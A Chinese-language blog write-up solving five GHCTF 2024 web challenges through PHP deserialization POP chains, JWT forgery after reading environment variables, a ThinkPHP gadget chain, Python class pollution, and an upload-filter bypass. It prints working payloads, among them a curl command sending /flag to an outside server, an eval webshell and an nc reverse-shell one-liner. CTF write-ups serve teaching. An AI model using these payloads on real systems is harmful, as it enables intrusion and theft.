GHCTF 2024 Web

Ten^v^ 2024-06-16 17:33:02 阅读 69

[GHCTF 2024]ezzz_unserialize

<?php/** * @Author: hey * @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits. * Have fun and Good luck!!! */error_reporting(0);class Sakura{ public $apple; public $strawberry; public function __construct($a){ $this -> apple = $a; } function __destruct() { echo $this -> apple; } public function __toString() { $new = $this -> strawberry; return $new(); }}class NoNo { private $peach; public function __construct($string) { $this -> peach = $string; } public function __get($name) { $var = $this -> $name; $var[$name](); }}class BasaraKing{ public $orange; public $cherry; public $arg1; public function __call($arg1,$arg2){ $function = $this -> orange; return $function(); } public function __get($arg1) { $this -> cherry -> ll2('b2'); }}class UkyoTachibana{ public $banana; public $mangosteen; public function __toString() { $long = @$this -> banana -> add(); return $long; } public function __set($arg1,$arg2) { if($this -> mangosteen -> tt2) { echo "Sakura was the best!!!"; } }}class E{ public $e; public function __get($arg1){ array_walk($this, function ($Monday, $Tuesday) { $Wednesday = new $Tuesday($Monday); foreach($Wednesday as $Thursday){ echo ($Thursday.'<br>'); } }); }}class UesugiErii{ protected $coconut; protected function addMe() { return "My time with Sakura was my happiest time".$this -> coconut; } public function __call($func, $args) { call_user_func([$this, $func."Me"], $args); }}class Heraclqs{ public $grape; public $blueberry; public function __invoke(){ if(md5(md5($this -> blueberry)) == 123) { return $this -> grape -> hey; } }}class MaiSakatoku{ public $Carambola; private $Kiwifruit; public function __set($name, $value) { $this -> $name = $value; if ($this -> Kiwifruit = "Sakura"){ strtolower($this-> Carambola); } }}if(isset($_POST['GHCTF'])) { unserialize($_POST['GHCTF']);} else { highlight_file(__FILE__);}

首先我们可以先确定关键点就是在于

class E{ public $e; public function __get($arg1){ array_walk($this, function ($Monday, $Tuesday) { $Wednesday = new $Tuesday($Monday); foreach($Wednesday as $Thursday){ echo ($Thursday.'<br>'); } }); }}

了解一下array_walk函数的用法

对数组中的每一个元素应用用户所自定义的函数

例如以下代码

<?phpfunction myfunc($value,$key){ echo $key;echo $value;}$a = array("a"=>"two","b"=>"one");array_walk($a,"myfunc");

根据上面的代码,我们就可以理解为:第一个参数是参数数组,第二个参数就是用户自定义的函数

而此题目的代码,很明显第一个参数是$this,这是代表将当前的E类当作参数数组传给后面的匿名函数

匿名函数里面接收了两个参数一个$Monday,一个$Tuesday分别对应着E类里面的属性和属性的值之后通过这行代码$Wednesday = new $Tuesday($Monday);,我们可以知晓用原生类做操作原生类输出的内容还必须是可迭代的数组

示例代码如下:

<?phperror_reporting(0);class E{ public $e; public function print(){ array_walk($this, function ($Monday, $Tuesday) { echo "Monday => ".$Monday." | "; echo "Tuesday => ".$Tuesday." | "; // $Wednesday = new $Tuesday($Monday); foreach($Wednesday as $Thursday){ echo ($Thursday.'<br>'); } }); }}$a = new E();$a->e = "123";$a->aaaa = "321";$a->print();Monday => 123 | Tuesday => e | Monday => 321 | Tuesday => aaaa |

接下来我们就要去寻找pop链,由于此题类众多,所以我们需要去逆推

E::__get -> Heraclqs::__invoke -> Sakura::__toString -> Sakura::__destruct

这条链子都没有问题,唯一要注意的就是Heraclqs::__invoke

class Heraclqs{ public $grape; public $blueberry; public function __invoke(){ if(md5(md5($this -> blueberry)) == 123) { return $this -> grape -> hey; } }}

很明显,我们需要满足if判断,双md5加密后要等于123,也就是弱比较

我们需要爆破出双md5加密后,前三个字符为123,紧接着就是字母

import hashlibimport itertoolsimport stringcharset = string.digits+string.ascii_letterstemp = itertools.permutations(charset,3)#爆破字符ss = "123"for i in temp: value = "".join(i) hash1 = hashlib.md5(value.encode()).hexdigest() result = hashlib.md5(hash1.encode()).hexdigest() if result[:3] == ss and result[3].isdigit() != True: print(value) print(result)1xE123f91c054f21245ea0130c353cd268d2tL123efb30143bdfb734dbbca564d3b6c13lD123bd5b684441a96f13ca9a84f27d85f4Cs123c4401f5e69ce636d84ba65e212d255nb123b7f57292d091179acf104fb06fc468UF123c73c352eb60ee0490d18cca679540aW8123ac960c0aeec921c78090612c97792dY1123be54b97522800b12460c054fbaaa2esW123d421d8e8cf3c6b510faafac4d6955f0w123b5b3e178d13229daa030ec761faebfpr123a27f6b4365c6f2bf233ddbcf123c2i2x123b0c2ad09dcb72b1c741484302d617jA4123f275f3f51e568bb6b8e64aa915a96l4c123d2bea9174185c248e00ae5e3964aemsj123b8afe511deaebe3b6a09c46e79c5couK123f96770a22200a03d8390c9e5c5c99v94123ddcb3300a8c491c0b69437f30ea9cx3Q123e7c842bda99116a60ba21b2c8b8a4za4123be3a1e076a7733fd30d38b871c6aaBp7123d12764c8b04ef2ef4e93cb99a2736BsC123a11415281d8580d04114c06b035d5Cit123b2893b87693cbf2a28e1154581930F1J123b443033f1f334cafc6dcdd18b906aGJN123e54b9d1c075c47c70ad37046adeacIyf123cbc83ec3ea74e9ea169ff73a9f519OgK123fca0fb7f20f37ca89ffd0017676caV0E123cef7793b532a38a5d9f07757045feX02123caf12b42087246001ea5c15ee6369XGd123eb3bda6e069dd94ab06685a295ca9

接下来我们开始编写pop链

<?phpclass Sakura{ public $apple; public $strawberry;}class E{ public $e;}class Heraclqs{ public $grape; public $blueberry;}$s = new Sakura;$s->apple = new Sakura;$s->apple->strawberry = new Heraclqs;$s->apple->strawberry->blueberry = "2tL";$s->apple->strawberry->grape = new E;$s->apple->strawberry->grape->FilesystemIterator = "/";echo serialize($s);?>

在这里插入图片描述

现在我们已经知道了存放flag值的文件名,直接进行读取

<?phpclass Sakura{ public $apple; public $strawberry;}class NoNo { private $peach;}class BasaraKing{ public $orange; public $cherry; public $arg1;}class UkyoTachibana{ public $banana; public $mangosteen;}class E{ public $e;}class UesugiErii{ protected $coconut;}class Heraclqs{ public $grape; public $blueberry;}class MaiSakatoku{ public $Carambola; private $Kiwifruit;}$s = new Sakura;$s->apple = new Sakura;$s->apple->strawberry = new Heraclqs;$s->apple->strawberry->blueberry = "2tL";$s->apple->strawberry->grape = new E;$s->apple->strawberry->grape->SplFileObject = "/1_ffffffflllllagggggg";echo serialize($s);?>O:6:"Sakura":2:{ s:5:"apple";O:6:"Sakura":2:{ s:5:"apple";N;s:10:"strawberry";O:8:"Heraclqs":2:{ s:5:"grape";O:1:"E":2:{ s:1:"e";N;s:13:"SplFileObject";s:22:"/1_ffffffflllllagggggg";}s:9:"blueberry";s:3:"2tL";}}s:10:"strawberry";N;}

得到flag内容

在这里插入图片描述

[GHCTF 2024]理想国

访问得到,如下api

{ "swagger": "2.0","info": { "description": "Interface API Documentation","version": "1.1","title": "Interface API"},"paths": { "/api-base/v0/register": { "post": { "consumes": ["application/json"],"summary": "User Registration API","description": "Used for user registration","parameters": [{ "username": "body","in": "body","required": true,"schema": { "$ref": "#/definitions/UserRegistration"}},{ "password": "body","in": "body","required": true,"schema": { "$ref": "#/definitions/UserRegistration"}}],"responses": { "200": { "description": "success"},"400": { "description": "Invalid request parameters"},"401": { "description": "Your wisdom is not sufficient to be called a sage"}}}},"/api-base/v0/login": { "post": { "consumes": ["application/json"],"summary": "User Login API","description": "Used for user login","parameters": [{ "username": "body","in": "body","required": true,"schema": { "$ref": "#/definitions/UserLogin"}},{ "password": "body","in": "body","required": true,"schema": { "$ref": "#/definitions/UserLogin"}}],"responses": { "200": { "description": "success"},"400": { "description": "Invalid request parameters"}}}},"/api-base/v0/search": { "get": { "summary": "Information Query API","description": "Used to query information","parameters": [{ "name": "file","in": "query","required": true,"type": "string"}],"responses": { "200": { "description": "success"},"400": { "description": "Invalid request parameters"},"401": { "description": "Unauthorized"},"404": { "description": "File not found"}},"security": [{ "TokenAuth": []}]}},"/api-base/v0/logout": { "get": { "summary": "Logout API","description": "Used for user logout","responses": { "200": { "description": "success"},"401": { "description": "Unauthorized"}},"security": [{ "TokenAuth": []}]}}},"definitions": { "UserRegistration": { "type": "object","properties": { "username": { "type": "string"},"password": { "type": "string"}}},"UserLogin": { "type": "object","properties": { "username": { "type": "string"},"password": { "type": "string"}}}},"securityDefinitions": { "TokenAuth": { "type": "apiKey","name": "Authorization","in": "header"}},"security": [{ "TokenAuth": []}]}当前节点:JSON.paths./api-base/v0/register.post.parameters[0].in

一眼看过去,有三个路由:register、login、search

register通过json格式的username和password可以注册用户

login通过json格式的username和password可以登陆用户

search可以通过get传参的file读取文件内容

这题的源代码我们还没有看到,所以我使用search路由去读取/app/app.py的源代码

http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/app/app.py

# coding=gbkimport jsonfrom flask import Flask, request, jsonify, send_file, render_template_stringimport jwtimport requestsfrom functools import wrapsfrom datetime import datetimeimport osapp = Flask(__name__)app.config['TEMPLATES_RELOAD'] = Trueapp.config['SECRET_KEY'] = os.environ.get('SECRET_KEY')current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S')response0 = { 'code': 0, 'message': 'failed', 'result': None}response1 = { 'code': 1, 'message': 'success', 'result': current_time}response2 = { 'code': 2, 'message': 'Invalid request parameters', 'result': None}def auth(func): @wraps(func) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return 'Invalid token', 401 try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == User.username and payload['password'] == User.password: return func(*args, **kwargs) else: return 'Invalid token', 401 except: return 'Something error?', 500 return decorateddef check(func): @wraps(func) def decorated(*args, **kwargs): token = request.cookies.get('token') if not token: return 'Invalid token', 401 try: payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == "Plato" and payload['password'] == "ideal_state": return func(*args, **kwargs) else: return 'You are not a sage. You cannot enter the ideal state.', 401 except: return 'Something error?', 500 return decorated@app.route('/', methods=['GET'])def index(): return send_file('api-docs.json', mimetype='application/json;charset=utf-8')@app.route('/enterIdealState', methods=['GET'])@checkdef getflag(): flag = os.popen("/readflag").read() return flag@app.route('/api-base/v0/register', methods=['GET', 'POST'])def register(): if request.method == 'POST': username = request.json['username'] if username == "Plato": return 'Your wisdom is not sufficient to be called a sage.', 401 password = request.json['password'] User.setUser(username, password) token = jwt.encode({ 'username': username, 'password': password}, app.config['SECRET_KEY'], algorithm='HS256') User.setToken(token) return jsonify(response1) return jsonify(response2), 400@app.route('/api-base/v0/login', methods=['GET', 'POST'])def login(): if request.method == 'POST': username = request.json['username'] password = request.json['password'] try: token = User.token payload = jwt.decode(token, app.config['SECRET_KEY'], algorithms=['HS256']) if payload['username'] == username and payload['password'] == password: response = jsonify(response1) response.set_cookie('token', token) return response else: return jsonify(response0), 401 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 return jsonify(response2), 400@app.route('/api-base/v0/logout')def logout(): response = jsonify({ 'message': 'Logout successful!'}) response.delete_cookie('token') return response@app.route('/api-base/v0/search', methods=['POST', 'GET'])@authdef api(): if request.args.get('file'): try: with open(request.args.get('file'), 'r') as file: data = file.read() return render_template_string(data) except FileNotFoundError: return 'File not found', 404 except jwt.ExpiredSignatureError: return 'Invalid token', 401 except jwt.InvalidTokenError: return 'Invalid token', 401 except Exception: return 'something error?', 500 else: return jsonify(response2)class MemUser: def setUser(self, username, password): self.username = username self.password = password def setToken(self, token): self.token = token def __init__(self): self.username = "admin" self.password = "password" self.token = jwt.encode({ 'username': self.username, 'password': self.password}, app.config['SECRET_KEY'], algorithm='HS256')if __name__ == '__main__': User = MemUser() app.run(host='0.0.0.0', port=8080)

然后读取环境变量配置文件

http://node6.anna.nssctf.cn:23779/api-base/v0/search?file=/proc/self/environB3@uTy_L1es_IN_7he_EyEs_0f_Th3_BEh0ld3r

获得Secret_key,根据代码分析,这题的意思也是访问enterIdealState路由,然后解jwt,判断用户名为:Plato ,密码为:ideal_state

接下来我们去jwt.io网站进行构造

在这里插入图片描述

修改cookie访问enterIdealState得到flag

在这里插入图片描述

[GHCTF 2024]CMS直接拿下

题目是一个thinkphp框架

在这里插入图片描述

扫描目录发现www.zip

在这里插入图片描述

下面我只对关键的代码进行了分析

Api.php内容

<?phpnamespace app\controller;use app\model\AdminUser;use app\model\Datas;use app\model\Student;use app\validate\User;use think\exception\ValidateException;use think\facade\Db;use think\facade\Session;use think\Request;class Api{ public function login(Request $request) { //获取用户提交的数据 $post = $request->post(); //对用户提交的数据进行验证,如果验证失败捕获ValidateException异常,并返回一个包含错误信息的json响应,提示账号或密码错误 try{ validate(User::class)->check($post); } catch (ValidateException $e) { return json(["msg"=>"账号或密码错误!","code"=>200,"url"=>""]); } //查询数据库信息,根据用户提交的用户名查询对应的用户信息 $data = AdminUser::where('username',$post['username'])->findOrEmpty(); //检查是否查询到数据库信息,以及用户提交的密码是否与数据库中存储的密码匹配上 if(!$data->isEmpty() && $data['password'] === $post['password']){ //从数据库中取值,赋值到userinfo数组里 id,username,password $userinfo = [ "id"=>$data['id'], "username"=>$data['username'], "password"=>$data['password'], ]; //将用户信息存储到会话中 Session::set('userinfo',$userinfo); //返回一个json响应,提示登陆成功,然后重定向到admin/index页面 return json(["msg"=>"登陆成功!","code"=>200,"url"=>"/admin/index"]); } else{ return json(["msg"=>"账号或密码错误!","code"=>404,"url"=>"/admin/login"]); } } public function logout() { // 退个屁,不对接前端了 //退出登陆页面,删除session信息 Session::delete('userinfo'); //返回登陆页面 return redirect('/admin/login'); } public function list(Request $request) { //这个函数是在登陆成功后访问 //获取session存储的userinfo信息 $userinfo = Session::get('userinfo'); //判断如果session信息为空,就回到登陆页面 if(is_null($userinfo)){ return redirect('/admin/login'); } else { //实例化datas对象作为数据库操作 $db = new Datas; //从用户提交的请求中获取页码和显示数量的参数,如果没有就默认提供第一页,每页只显示10条数据 $page = $request->get('page',1); $limit = $request->get('limit',10); //定义一个空的查询条件 $where = []; //查询数据库获取符号条件的数据 $datas = $db->where($where)->field('serialize')->page($page,$limit)->select(); //统计符合条件的数据总数 $count = $db->where($where)->count(); //定义一个空数组lists $lists = []; //循环上面查询到符合条件的数据 foreach ($datas as $data){ //对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中 $data = unserialize($data['serialize']); $lists[] = [ "id" => $data->id, "name" => $data->name, "score1" => $data->score1, "score2" => $data->score2, "score3" => $data->score3, "average" => $data->average]; } //将每条数据的特定字段提取出来,构建一个新的数组,包括每条数据的id、名称 return json(["code"=>0, "data"=>$lists, "count"=>$count, "msg"=>"获取成功", ]); } } public function update(Request $request) { //也是登陆成功后才能使用的函数 $userinfo = Session::get('userinfo'); //判断是否为空 if(is_null($userinfo)){ return redirect('/admin/login'); } else{ //获取用户提交的数据 $data = $request->post('data'); // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){ // return json(["code"=>404,"msg"=>"你想干嘛!!!"]); // }// 随便吧,无所谓了,不想再编程下去了 //实例化datas作为数据库操作的实例 $db = new Datas; //将接收到的数据保存到数据库中 $result = $db->save(['serialize'=>$data]); //返回结果 return json(["code"=>200,"msg"=>"修改成功"]); } }// 不想再编程下去了,直接丢一个序列化的接口,省事 public function seria(Request $request) { //登陆成功以后才能访问 //获取session信息 $userinfo = Session::get('userinfo'); //判断是否为空 if(is_null($userinfo)){ return redirect('/admin/login'); } else{ //自定义了一个类,序列化数据到seria中 $seria = serialize(new Student( $request->post('id',2), $request->post('name','李四'), $request->post('score1',91), $request->post('score2',92), $request->post('score3',93) )); //返回获取成功 return json(["code"=>200, "data"=>$seria, "msg"=>"获取成功"]); } } public function users() { //实列化AdminUser,用作数据库操作 $db = new AdminUser; //查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露 $datas = $db->select(); return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]); }// public function add()// { // $userinfo = Session::get('userinfo');// if(is_null($userinfo)){ // return redirect('/admin/login');// }// $db = new Datas;// $seria = serialize(new Student(3,'王五',94,100,100));// $data = ['serialize'=>$seria];// $result = $db->allowField(['serialize'])->save($data);// }// public function test(Request $request)// { // $post = $request->post();//// unserialize($post['payload']);// }}

首先关键点就是在于list路由,会出现反序列化

foreach ($datas as $data){ //对每条数据进行反序列化的操作,将序列化的数据转换为数组到lists中 $data = unserialize($data['serialize']); $lists[] = [ "id" => $data->id, "name" => $data->name, "score1" => $data->score1, "score2" => $data->score2, "score3" => $data->score3, "average" => $data->average]; }

确定了反序列化的点,那我们需要去找序列化的点

seria路由

$seria = serialize(new Student( $request->post('id',2), $request->post('name','李四'), $request->post('score1',91), $request->post('score2',92), $request->post('score3',93) ));

不给都被固定写死了,不过这个路由并没有写导入数据库的操作,而是在update路由

public function update(Request $request) { //也是登陆成功后才能使用的函数 $userinfo = Session::get('userinfo'); //判断是否为空 if(is_null($userinfo)){ return redirect('/admin/login'); } else{ //获取用户提交的数据 $data = $request->post('data'); // if(preg_match("/include|include_once|require|require_once|highlight_file|fopen|readfile|fread|fgetss|fgets|parse_ini_file|show_source|flag|move_uploaded_file|file_put_contents|unlink|eval|assert|preg_replace|call_user_func|call_user_func_array|array_map|usort|uasort|uksort|array_filter|array_reduce|array_diff_uassoc|array_diff_ukey|array_udiff|array_udiff_assoc|array_udiff_uassoc|array_intersect_assoc|array_intersect_uassoc|array_uintersect|array_uintersect_assoc|array_uintersect_uassoc|array_walk|array_walk_recursive|xml_set_character_data_handler|xml_set_default_handler|xml_set_element_handler|xml_set_end_namespace_decl_handler|xml_set_external_entity_ref_handler|xml_set_notation_decl_handler|xml_set_processing_instruction_handler|xml_set_start_namespace_decl_handler|xml_set_unparsed_entity_decl_handler|stream_filter_register|set_error_handler|register_shutdown_function|register_tick_function|system|exec|shell_exec|passthru|pcntl_exec|popen|proc_open/i",$data)){ // return json(["code"=>404,"msg"=>"你想干嘛!!!"]); // }// 随便吧,无所谓了,不想再编程下去了 //实例化datas作为数据库操作的实例 $db = new Datas; //将接收到的数据保存到数据库中 $result = $db->save(['serialize'=>$data]); //返回结果 return json(["code"=>200,"msg"=>"修改成功"]); } }

并且没有任何的过滤,update路由会去判断session是否为空,所以我们要登陆进去才能访问这个路由,此题没有注册路由但是给了一个用户泄露的路由就是users

public function users() { //实列化AdminUser,用作数据库操作 $db = new AdminUser; //查询adminuser表中所有数据,然后返回到页面,这里会造成用户名及密码泄露 $datas = $db->select(); return json(["code"=>0, "data"=>$datas, "msg"=>"获取成功", ]); }

没有对session进行检验,所以我们直接访问就可以得到用户信息

在这里插入图片描述

拿着这个信息进行登陆,之后来到后台页面

在这里插入图片描述

然后我们通过修改按钮,抓包,到update路由时篡改序列化数据

在这里插入图片描述

pop链脚本如下

<?phpnamespace think\model\concern;trait Conversion{ }trait Attribute{ private $data = ["ten" => "curl http://xxx.xxxx.xxxx.xxxx:8989/ -d `cat /flag`"]; private $withAttr = ["ten" => "system"];}namespace think;abstract class Model{ use model\concern\Attribute; use model\concern\Conversion; private $lazySave = true; protected $withEvent = false; private $exists = true; private $force = true; protected $field = []; protected $schema = []; protected $connection='mysql'; protected $name; protected $suffix = '';}namespace think\model;use think\Model;class Pivot extends Model{ function __construct($obj = '') { $this->name = $obj; }}$a = new Pivot();$b = new Pivot($a);echo urlencode(serialize($b));

之后远程vps开启8989端口监听,发包之后刷新成绩页面

在这里插入图片描述

[GHCTF 2024 新生赛]Po11uti0n~~~

访问首页提供了源代码,下面我直接给我分析时写的解释了

import uuidfrom flask import Flask, request, sessionfrom secret import black_listimport json''' @Author: hey @message: Patience is the key in life,I think you'll be able to find vulnerabilities in code audits. * Th3_w0r1d_of_c0d3_1s_be@ut1ful_ but_y0u_c@n’t_c0mp1l3_love.'''app = Flask(__name__)#随机生成keyapp.secret_key = str(uuid.uuid4())#定义了类似waf的函数def cannot_be_bypassed(data): #循环black_list列表 for i in black_list: #判断如果黑名单里值在用户提交的数据里就返回False if i in data: return False return True#接收了两个参数,src和dstdef magicallllll(src, dst): #判断dst是否具有__getitem__属性,该属性用于实现对象的索引访问。当对象具有该属性时,可以通过访问列表的形式访问对象的属性 if hasattr(dst, '__getitem__'): #循环src for key in src: #遍历src,如果src中的值是字典类型,则遍历src的键 if isinstance(src[key], dict): #如果对应的数值依旧是字典类型,并且在dst中存在相同的键且对应的值也是字典类型,就递归调用magicallllll函数 if key in dst and isinstance(src[key], dict): magicallllll(src[key], dst[key]) else: #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键 dst[key] = src[key] else: #如果src里的值不是字典类型,就将src中的值对应赋值给dst中的对应键 dst[key] = src[key] else: #如果dst不具有__getitem__属性,就会进入到这个里面 #针对src生成键值对 for key, value in src.items() : #如果dst存在相同键并且对应的值是字典类型,就递归调用magicallll函数 if hasattr(dst,key) and isinstance(value, dict): magicallllll(value,getattr(dst, key)) #否则将src的键值赋值给dst中的属性 else: setattr(dst, key, value)class user(): #初始化username和password def __init__(self): self.username = "" self.password = "" pass def check(self, data): #判断用户提交的username和password是否和类中存储的用户名和密码相同 if self.username == data['username'] and self.password == data['password']: return True return False#定义一个空列表Users = []#用户的注册函数@app.route('/user/register',methods=['POST'])def register(): #判断用户提交的数据是否为空 if request.data: try: #检查请求的数据是否包含了恶意的数据 if not cannot_be_bypassed(request.data): return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" #将请求的数据转换成了json格式 data = json.loads(request.data) #判断username和password是否在转换后的json数据里 if "username" not in data or "password" not in data: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" User = user() #调用magicallll函数,将解析后键值对形式的数据data赋值到User对象中 magicallllll(data, User) #然后将注册成功后的用户信息存储到Users列表中 Users.append(User) except Exception: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" return "Congratulations,The username and password is correct,Register Success!!!" else: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"@app.route('/user/login',methods=['POST'])def login(): if request.data: try: data = json.loads(request.data) if "username" not in data or "password" not in data: return "The username or password is incorrect,Login Failed,Please log in again!!!" for user in Users: if user.cannot_be_bypassed(data): session["username"] = data["username"] return "Congratulations,The username and password is correct,Login Success!!!" except Exception: return "The username or password is incorrect,Login Failed,Please log in again!!!" return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)"@app.route('/',methods=['GET'])def index(): return open(__file__, "r").read()if __name__ == "__main__": app.run(host="0.0.0.0", port=8080)

分析完,基本上就可以知道,这是一个python的原型链污染

magicallllll函数很典型,就是将数值进行合并

下面两个路由register和login路由,关键的路由就是register,因为在用户提交参数以后,就会将用户的请求以json键值对的形式(也就是字典)合并到User类中

这里如果传入了特定的值就可以造成原型链的污染,污染基类的属性

@app.route('/user/register',methods=['POST'])def register(): if request.data: try: if not cannot_be_bypassed(request.data): return "Hey bro,May be you should check your inputs,because it contains malicious data,Please don't hack me~~~ :) :) :)" data = json.loads(request.data) if "username" not in data or "password" not in data: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" User = user() magicallllll(data, User) Users.append(User) except Exception: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!" return "Congratulations,The username and password is correct,Register Success!!!" else: return "Ohhhhhhh,The username or password is incorrect,Please re-register!!!"

不过我们要注意cannot_be_bypassed会对我们提交的数据,进行检查,但是它没有给我们黑名单里面的东西

所以只能盲测,不过后来想想这是用的json格式,那我们直接使用unicode编码绕过不就可以了

注意:不能使用+号拼接绕过,因为json格式的数据,只能是双引号包裹的数据

下面是正常的形式

在这里插入图片描述

我们先简单理解一下为什么这样去写

__class__用于获取对象所属的类check为什么会有这个函数的出现,这是因为,__class__属性是无法和__globals__属性连用并且为什么是check函数,这是因为我们提交的数据会和User类进行合并,那么__class__获取到的就是User类,而这个类目前就只有check方法__globals__用于访问全局变量(注意只能在函数内使用)__file__该变量,我们也可以发现,在根路由有使用,用来读取当前的页面

下面我们进行unicode的编码

在这里插入图片描述

注意:/proc/self/environ已经被我换成了/proc/1/environ

之后再访问首页

在这里插入图片描述

上面是解法1了,下面我再给你们介绍一个解法2

参考此文章

https://tttang.com/archive/1876/#toc__3

_static_url_path 是存放flask中的静态目录的路径,默认值就是static

正常访问的话,就是通过http://xxxxx/static/xxxx

所以我们只要将其值篡改,那我们就可以通过其访问到任何文件

http://xxxx/static/etc/passwd

__init__在创建类的实例时会进行初始化操作

在这里插入图片描述

{ "username":"ten","password":"123456","__init__":{ "__globals__":{ "app":{ "_static_folder":"/"}}}}

然后还是unicode编码

在这里插入图片描述

{ "username":"ten","password":"123456","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{ "\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{ "\u0061\u0070\u0070":{ "\u005f\u0073\u0074\u0061\u0074\u0069\u0063\u005f\u0066\u006f\u006c\u0064\u0065\u0072":"/"}}}}

在这里插入图片描述

不过,这题我们无法直接读取到flag,估计是flag的文件名被修改了

黑名单

secret.py

black_list = [b'__init__',b'__globals__',b'__file__',b'jinja',b'black_list',b'environ',b'app',b'admin',b'root',]

[GHCTF 2024]PermissionDenied

题目源代码

<?php function blacklist($file){ $deny_ext = array("php","php5","php4","php3","php2","php1","html","htm","phtml","pht","pHp","pHp5","pHp4","pHp3","pHp2","pHp1","Html","Htm","pHtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","jSp","jSpx","jSpa","jSw","jSv","jSpf","jHtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","aSp","aSpx","aSa","aSax","aScx","aShx","aSmx","cEr","sWf","swf","ini"); $ext = pathinfo($file, PATHINFO_EXTENSION); foreach ($deny_ext as $value) { if (stristr($ext, $value)){ return false; } } return true;}if(isset($_FILES['file'])){ $filename = urldecode($_FILES['file']['name']); $filecontent = file_get_contents($_FILES['file']['tmp_name']); if(blacklist($filename)){ file_put_contents($filename, $filecontent); echo "Success!!!"; } else { echo "Hacker!!!"; }} else{ highlight_file(__FILE__);}

file_put_content函数有一个文件解析的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

123.php内容

<?php eval($_POST[0]);phpinfo();?>

import requestsurl = "http://node6.anna.nssctf.cn:22921/"file = { "file":("123.php%2f.",open('1.php','r'))}res = requests.post(url=url,files=file).textprint(res)

在这里插入图片描述

蚁剑连接进去以后,可以发现无法执行命令

在这里插入图片描述

查看phpinfo信息,发现命令执行函数被禁用了

在这里插入图片描述

那我们只能使用蚁剑的插件了

在这里插入图片描述

成功命令执行,那我们就反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc xxx.xxx.xxx.xxx 8989 >/tmp/f

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述



声明

本文内容仅代表作者观点,或转载于其他网站,本站不以此文作为商业用途
如有涉及侵权,请联系本站进行删除
转载本站原创文章,请注明来源及作者。